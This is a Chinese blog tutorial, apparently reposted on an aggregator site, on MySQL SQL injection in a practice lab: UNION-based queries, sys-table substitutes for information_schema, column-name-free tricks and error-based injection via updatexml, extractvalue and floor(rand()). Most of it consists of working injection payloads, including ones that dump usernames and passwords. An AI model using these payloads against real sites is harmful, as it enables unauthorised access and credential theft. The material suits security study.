SQL注入(一)联合查询 报错注入

这篇具有很好参考价值的文章主要介绍了SQL注入(一)联合查询 报错注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

1.sql注入漏洞是什么

2.联合查询:

2.1注入思想

2.2 了解information_schema 数据库及表

3.可替代information_schema的表

3.1 sys库中重要的表

4. 无列名注入

利用 join-using 注列名。

4. 报错注入

4.1 常用函数:updatexml、extractvalue

1.updatexml

注意几点:

2.extractvalue

3.floor


1.sql注入漏洞是什么

是web网站的常见攻击技术,如果权限足够的话它可以通过sql注入的方式

1.知道物理路径可以进行木马的上传

2.可以进行udf的提权

3.可以通过注入获取到数据库中的数据。

sql注入产生的原因:

在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的“ 数据 拼接到 SQL 语句中后,被当作 SQL 语句的一部分执行。

2.联合查询:

2.1注入思想

首先我们要先知道一个特殊的库:information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。 在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .

1.其和XSS一样需要先逃出引号的限制。(一定会报错)

2.通过“and”、“or”、“union”连接符连接查询语句。

3. 查询顺序:库名、表名、列名、数据。

注入查看数据库名

?id=-1' union select 1,database(),database()--+

SQL注入(一)联合查询 报错注入4.要知道有几列:order进行排序如果没报错此列存在,报错说明没有此列。(可以知道存在几列),然后可以进行联合查询。(可以用数字来进行排序,1表示第一列)

?id=1' order by 列号--+

若此列存在

SQL注入(一)联合查询 报错注入

若此列不存在(说明此表只有三列)

SQL注入(一)联合查询 报错注入

5.找那些数据有放到前端,原因如果其数据未在前端展示,就在网页上无法查看到。语句:select+存在几列的数字(网页上显示哪些数字说明那些列放在前端)。

?id=-1' union select 1,2,3--+

出现数字2,3说明第二,三列展示在前台。

SQL注入(一)联合查询 报错注入

通过前台展示+系统函数展示数据库信息

 通过前台展示内容显示用户:

?id=-1' union select 1,user(),3--+


SQL注入(一)联合查询 报错注入

通过前台展示内容显示数据库: 

?id=-1' union select 1,database(),3--+

SQL注入(一)联合查询 报错注入

通过前台展示内容显示sql版本

?id=-1' union select 1,version(),3--+

SQL注入(一)联合查询 报错注入

2.2 了解information_schema 数据库及表

在information_schema 数据库下

使用 show tables 查看表

 在columns表中存在库名,表名,列名。

SQL注入(一)联合查询 报错注入

在tables表下存在库名、表名

SQL注入(一)联合查询 报错注入

查询security数据库下的表名

 现在我们想通过tables表查看表名,已知我们现在处于security数据库下,而tables表处于information_schema 数据库下所以我们要进行跨库查询。

直接查询:

id=-1' union select 1, table_name,3 from information_schema.tables--+

从information_schema的tables表中 通过可显示的security数据库下的第二列数据将 table_name显示出来。

结果:

SQL注入(一)联合查询 报错注入

 只查询出tables表的table_name列的第一个表名。

 这是table_name列的列名:SQL注入(一)联合查询 报错注入

  显然这是不行的这样只能显示第一个表名,且不知道这个表属于那个数据库

做一个数据库的限制

id=-1' union select 1, table_name,3 from information_schema.tables where table_schema="security"--+

 结果:SQL注入(一)联合查询 报错注入

此时显示的就是security数据库下的第一张表,这种查询方法同样不行,只能显示security数据库下的第一张表,显然这张表为邮箱表,不是我们想找的关键表。

security数据库下所有表:

SQL注入(一)联合查询 报错注入

 使用子查询:

id=-1' union select 1,(select table_name from information_schema.tables where table_schema="security"),3--+

结果:

SQL注入(一)联合查询 报错注入

 这里直接使用子查询失败,因为子查询只能返回一行数据,但数据库中的表明不止一行。

所以我们可以通过group_concat()函数将表名的多行数据进行拼接。

group_concat ()函数是mysql提供的一个用于在查询时分组进行进行不同的字段拼接的方法

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+

结果:

SQL注入(一)联合查询 报错注入

 可以看到我们直接得到了security数据库下的所有表名,其中最重要的为users表。

查看列名

我们通过information_schema 数据库下的columns表来获取列名

SQL注入(一)联合查询 报错注入

 我们通过子查询获取security数据库下user表中的列名

id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),3--+

结果:SQL注入(一)联合查询 报错注入

 查询表中的数据

id=-1' union select 1,(select group_concat(username,0x3a,password) from users),3--+
#这里直接通过表名来查询username和password两个列
#这里的0x3a是16进制的:用作间隔符来使用

结果:

SQL注入(一)联合查询 报错注入

总结

information_schema库下重要的表

1.columns 存在库名,表名,列名

2.tables 存在库名,表名

那么当程序过滤掉information时又有那些表可以替代information_schema库中的表呢?

3.可替代information_schema的表

3.1 sys库中重要的表

1) schema_auto_increment_columns

schema_auto_increment_columns表中保存的是以自增的列进行插入的表。

查看schema_auto_increment_columns中的内容:

SQL注入(一)联合查询 报错注入

 其中也包含库名,表名,列名,可以用来进行查询。

我没进行列名的查看

SQL注入(一)联合查询 报错注入

 发现这里的列名并不完整,不能进行列名的查询。  

2) x$schema_table_statistics

查看x$schema_table_statistics中的内容:

SQL注入(一)联合查询 报错注入

表中也包含库名,表名,可以用来进行查询。但表中不存在列名。

3) x$schema_table_statistics_with_buffer

查看x$schema_table_statistics_with_buffer中的内容:

SQL注入(一)联合查询 报错注入

 表中也包含库名,表名,可以用来进行查询。但表中不存在列名。

总结一下可以替代information_schema库中的表的表

sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

sys.x$ps_schema_table_statistics_io

mysql.innodb_table_stats

mysql.innodb_table_index

均可代替 information_schema

重要的一点:当information关键词被过滤掉后,应该如何进行sql注入。

这里一定要想到用sys数据库下的几张表,来进行注入,注意:sys数据库中的几个表都无列名所以我们要进行无列名注入。

4. 无列名注入

利用 join-using 注列名。

我们先使用sys库下的schema_auto_increment_columns爆出表名

直接查询:
?id=-1' union select 1,group_concat(table_name),3 from sys.schema_auto_increment_columns where table_schema=database()--+

子查询
id=-1' union select 1,(select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()),3--+

#这里使用database()函数直接查询到当前的数据库

结果:SQL注入(一)联合查询 报错注入

 我们这一次通过users表爆出列名。

爆出第一列列名

?id=-1' union select * from (select * from users as a join users as b)as c--+
#(select * from users as a join users as b):从users表查询所有给他个别名a,再将它与别名为b的users表中查询所有进行合并,将合并的值给别名c用来进行查询,将重复的列名通过报错爆出,这样就查出第一个重复的列名。

结果: 

SQL注入(一)联合查询 报错注入

分析:

从users表查询所有给他个别名a,再将它与别名为b的users表中查询所有进行合并,将合并的值给别名c用来进行查询,将重复的列名通过报错爆出,这样就查出第一个重复的列名。

爆出第二列列名

?id=-1' union select * from (select * from users as a join users b using(id)) as c--+

 结果:

SQL注入(一)联合查询 报错注入

 分析:使用using忽略掉id,爆出下一列的列名。

爆出第三列列名

?id=-1' union select * from (select * from users as a join users b using(id,username))c--+

 结果:

SQL注入(一)联合查询 报错注入

 继续爆出

?id=-1' union select * from (select * from users as a join users b using(id,username,password)) as c--+

结果

SQL注入(一)联合查询 报错注入

 这里爆出的是数据并非列名,说明列名已经全部爆出。则users表中的列名有:id,usemane,password。

爆出数据

爆出usename和password

id=-1' union select 1,(select group_concat(username,0x3a,password) from users),3--+

结果:

SQL注入(一)联合查询 报错注入

方法二、

 使用反引号和别名的方法进行列名爆出

select `想查的列号` from (select 1,2,3,4,5 union select * from users)as a;
#SQL 中反引号是可以代表数据库名和列名的
#(select 1,2,3,4,5 union select * from users)as a 把括号里的查询数据重命名一张新的表 a,在从中查询

这里以users表的第三列列名举例

select `3` from (select 1,2,3 union select * from users)as a;

结果:

SQL注入(一)联合查询 报错注入

方法三、

当反引号被禁用时,就可以使用起别名的方法来代替

在注入时同时查询多个列

select group_concat(b,':',c) from (select 1,2 as b, 3 as c union select * from users)as a;

这里使用b作为第二列的别名,c为第三列的别名。这里直接用b和c的别名进行查询

SQL注入(一)联合查询 报错注入

4. 报错注入

4.1 常用函数:updatexml、extractvalue

1.updatexml

updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

这三个参数中的第二位必须以xml的形式存在,如果第二位参数的形式并非xml则会将第二位的数据以报错的形式爆出。

这里爆出的为主机名和用户名

?id=-1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

#concat函数用于连接两个字符串,形成一个字符串。
#0x7e代表16进制的~,~这个符号在xpath语法中是不存在的,因此总能报错。
#USER () 函数返回 MySQL 连接的当前用户名和主机名。 注意: 这个函数等同于 SESSION_USER () 函数和 SYSTEM_USER () 函数。

结果:

SQL注入(一)联合查询 报错注入

 爆出库名、表名、列名、数据

select爆出库名:
?id=-1' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
爆出表名:
?id=-1' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e),1))--+
爆出列名:
?id=-1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1))--+
爆出数据:
?id=-1' and (select updatexml(1,concat(0x7e,(select group_concat(username)from users),0x7e),1))--+

注意几点:

1.  ‘~‘可以换成’#’、’$'等不满足xpath格式的字符

2. extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

2.extractvalue

此函数与上一个函数的使用情况基本相同,唯一不同的是此函数可以接收两个参数,报错位置在第二个参数

?id=-1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+

爆出库名、表名、列名、数据

select爆出库名:
?id=-1' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
爆出表名:
?id=-1' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e),1))--+
爆出列名:
?id=-1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1))--+
爆出数据:
?id=-1' and (select updatexml(1,concat(0x7e,(select group_concat(username)from users),0x7e),1))--+

3.floor

fioor是mysql的函数,需要和group by、rand及count 函数连用才行

1.rand函数

rand() 可以产生一个在0和1之间的随机数,但你只需要给这个函数一个种子值那么在第一次产生一个随机术后他产生的值就将固定。

未给种子数字前:

SQL注入(一)联合查询 报错注入

 给一个种子数0:

SQL注入(一)联合查询 报错注入

 rand(0)固定,每次产生的值都是一样的。也可以称之为伪随机。

具体的数被存在users表中

SQL注入(一)联合查询 报错注入

 这样第一次产生的随机数和第二次完全一样,也就是可以预测的。 利用的时候rand(0)*2为什么要乘以 2 呢?这就要配合 floor 函数来说了。

2. floor 函数

floor函数:向下取整

 rand(0)*2的值通过上面的users表可知,将的数向下取整得到下面的表

SQL注入(一)联合查询 报错注入

并且根据固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1。

3.group by 函数

group by 主要用来对数据进行分组(相同的分为一组)。

4.count(*)函数

count(*)统计结果的记录数。

报错语句:

select count(*),floor(rand(0)*2) x from users group by x;

执行结果:

SQL注入(一)联合查询 报错注入

三、报错分析

首先mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count()。也就对应于实验中的 user_name 和 count()。 然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。 然后mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个"被计算多次"到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次 ,从上面的函数使用中可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011 (这个顺序很重要),报错实际上就是floor(rand(0)2)被计算多次导致的。

具体过程:

1)查询前会建立空的虚拟表

SQL注入(一)联合查询 报错注入

2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),  

SQL注入(一)联合查询 报错注入

 3)查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

SQL注入(一)联合查询 报错注入

 4)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)

SQL注入(一)联合查询 报错注入

5)查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count()加1,第二条记录查询完毕,结果如下:

SQL注入(一)联合查询 报错注入

 6)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)

SQL注入(一)联合查询 报错注入

7)查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),

 SQL注入(一)联合查询 报错注入

主键是唯一的,然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。

使用此语句进行爆破:

?id=-1' union select 1,2,3 from (select count(*), concat(user(), floor(rand(0) * 2))as x from information_schema.columns group by x)as a--+
#count(*), concat(user(), floor(rand(0) * 2))as x :首先将user()与floor(rand(0) * 2)进行结合成一个字符串给他一个别名x
#group by x:以x的内容进行分组。
#count(*):再将所有的内容进行统计。

count(*), concat(user(), floor(rand(0) * 2))as x的结果有:

root@localhost0、 root@localhost1、 root@localhost1、 root@localhost0 、root@localhost1、 root@localhost1

与上面分析的结果相同会在第五位即:root@localhost1 出发生主键冲突报错。

执行结果:
SQL注入(一)联合查询 报错注入

这里爆出主机名,那么同理也可以爆出库名,表名,列名。文章来源地址https://www.toymoban.com/news/detail-430822.html

到了这里,关于SQL注入(一)联合查询 报错注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • sql注入中的union联合查询,union select 1,2,3

    (此文章是记录本人对知识理解的随手笔记,内容不肯定百分百正确,如有错误望指出并谅解) union联合查询是为了判断SQL语句中哪个地方可以被代替,代替的地方是可以在网页上显示出来的 { 例:若 select 1,2,3; 中的2这个地方可以被代替,我们就可以通过一些SQL语句或数据库函

    2024年02月08日
    浏览(54)
  • BUUCTF-sql注入联合查询的创建虚拟表-词频-steghide的使用

    第七周第三次 目录 WEB [GXYCTF2019]BabySQli [GXYCTF2019]BabyUpload Crypto 世上无难事 old-fashion ​Misc 面具下的flag 九连环 这是一道很新的题目 我们打开环境 发现登入注册界面 先看看源码有没有提示 发现有一个 php文件 进入看看 发现加密 先base32 再64  发现就是很简单的字符型注入 开始

    2023年04月13日
    浏览(53)
  • 安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

    目录 一、sql注入原理  二、联合SQL注入的方法 1.总体的思路 (1)先进行闭合,进行报错 (2)进行逃逸 (3)外带数据 (4)获取库名 表名 列名 数据 (5)获取当前数据库中的数据 2.SQL注入测试 (1)先进行单双引号闭合,让页面出现页面报错 (2)然后看有几列,有两种方

    2024年02月13日
    浏览(33)
  • 29、WEB攻防——通用漏洞&SQL注入&增删改查&盲注&延迟&布尔&报错

    概念:在注入过程中,获取的数据不能回显至前端页面,此时我们需要利用一些方法进行判断或尝试,这个过程被称为盲注。 解决:常规的联合查询注入不行的情况。 分类: 基于布尔的SQL盲注,逻辑判断。 /blog/news.php?id=1 and if(1=1,sleep(5),0) 基于时间的SQL盲注,延时判断。

    2024年01月20日
    浏览(54)
  • SQL注入之union 联合注入

    目录 一、union查询的特性 1.1、特性-1 1.2、特性-2 1.3、特性-3 二、union联合注入 2.1、让sqlib的Less-1页面显示出来2和3 2.2、MySQL中的一些函数 2.3、MySQL中的函数和union的联合使用方法 2.4、group_concat()函数 2.5、使用union和group_concat函数进行sql注入 2.6、分析注入过程 2.7、使用union获取

    2024年02月08日
    浏览(90)
  • SQL注入(1)--判断是否存在SQL注入漏洞

    不论是学习后端开发/数据库/网络安全,SQL注入安全隐患反复被提起 到底什么是SQL? 维基百科的定义: (1)什么是SQL? SQL是用来操控数据库的语言 (2)举一个例子,现在我们要查询电影“长津湖”的票房数据: 先想象一下开发人员是如何书写代码从数据库中拿到数据的:

    2024年02月05日
    浏览(48)
  • SQL高级篇~联合查询

    以下是一些关于 SQL 联合查询的详细信息: SQL 联合查询的基本语法如下: 其中, table_name1 和 table_name2 是要查询的表名, column_name(s) 是要返回的列的名称, UNION 将两个查询的结果集合并在一起。 在联合查询中,两个查询的结果集的列数和列类型必须相同,否则会导致

    2024年02月05日
    浏览(50)
  • SQL注入之WHERE 子句中的 SQL 注入漏洞

    ● 实验室要求 此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询: 若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。 ● 必要知识点 一个没有安全概念的

    2024年02月14日
    浏览(45)
  • SQL 注入漏洞攻击

    假设你用自己的用户名和密码登录了一个付费网站,网站服务器就会查询一下你是不是 VIP 用户,而用户数据都是放在数据库中的,服务器通常都会向数据库进行查询,要向数据库进行增删改查操作,就需要用到 SQL 语言。 但是,作为 SQL 的注入攻击者,我们并不知道网站的密

    2024年02月09日
    浏览(53)
  • 漏洞原理 SQL 注入

    OWASP漏洞原理启航(第一课)-CSDN博客 OWASP漏洞原理<最基础的数据库 第二课>-CSDN博客 小皮面板(phpstudy

    2024年02月20日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包